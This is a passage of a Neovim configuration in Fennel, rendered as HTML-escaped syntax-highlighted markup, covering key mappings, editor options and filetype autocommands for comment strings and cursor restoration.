&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;let=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; mapleader&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; maplocalleader&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;nnoremap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;Leader&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;CR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; vim.cmd.nohlsearch&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; silent&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;})&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;nnoremap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;Leader&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; vim.cmd.relativenumber&lt;&#x2F;span&gt;&lt;span&gt;! &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; silent&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;})&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; set splitbelow splitright&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;nnoremap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;Leader&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;w&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; vim.cmd.vsplit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;nnoremap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;Leader&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;w&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; vim.cmd.split&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;set=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; splitkeep screen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; [status line &amp;amp; command line]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; TODO convert to cnoreabbrev&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;cnoremap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;%%&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; #&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;vim.fn.getcmdtype&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;:&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;..&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;vim.fn.expand&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;%:h&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;&#x2F;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;                    &amp;quot;%%&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; expr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; :desc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;Transform %% to $PWD&#x2F;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;})&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; Use ; to enter command line mode, : to repeat f&#x2F;t -- or just F&#x2F;T,,,,,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;noremap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;:&amp;quot; &amp;quot;;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;noremap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;;&amp;quot; &amp;quot;:&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; ! -&amp;gt; :!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;nnoremap&lt;&#x2F;span&gt;&lt;span&gt; ! &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;quot;:!&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; [terminal]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;tnoremap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;Esc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&amp;gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;C&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;\&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;C&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;tnoremap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;C&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;Esc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&amp;gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;Esc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; [misc]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; Plugin settings&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; Persistent undo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;turn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;on undofile&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; Show lines above and below cursor.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;set=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; scrolloff&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;turn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;on number relativenumber&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; Don’t wrap line by default.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; (set= wrap false)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; @see https:&#x2F;&#x2F;stackoverflow.com&#x2F;a&#x2F;21000307&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;noremap j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; #&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; vim.v.count&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; :gj :j)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; expr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; :&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; silent&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;})&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;noremap k&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; #&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; vim.v.count&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; :gk :k)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; expr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; :&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; silent&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;})&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; Only be case sensitive when there are Capital letters.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;turn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;on ignorecase smartcase&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; Allow hiding a buffer that has unsaved changes.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;turn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;on hidden&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; Disable Ex mode. Use Q to replay last used macro.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;nnoremap Q&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;@@&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; Enable mouse support.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;set=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; mouse a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; Match parenthesis.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;turn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;on showmatch&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;set=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; matchtime&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;set+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; matchpairs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;quot;&amp;lt;:&amp;gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; https:&#x2F;&#x2F;github.com&#x2F;neovim&#x2F;neovim&#x2F;issues&#x2F;4684&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;vim.cmd.filetype&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;plugin indent on&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; [autocmds]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;with&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;augroup BFG&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;autocmd FileType asm&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; #&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; vim.bo.commentstring&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;# %s&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;autocmd FileType&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;c cpp verilog&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; #&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; vim.bo.commentstring&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;&#x2F;&#x2F; %s&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;autocmd BufReadPost&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;*&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; ; TODO nested?&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;           #&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;jump&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; -1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;                          (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;vim.fn.index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;:gitcommit :gitrebase :xxd]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; vim.o.ft&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;                  marker&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;vim.fn.line&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;                  last&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;vim.fn.line&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;$&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
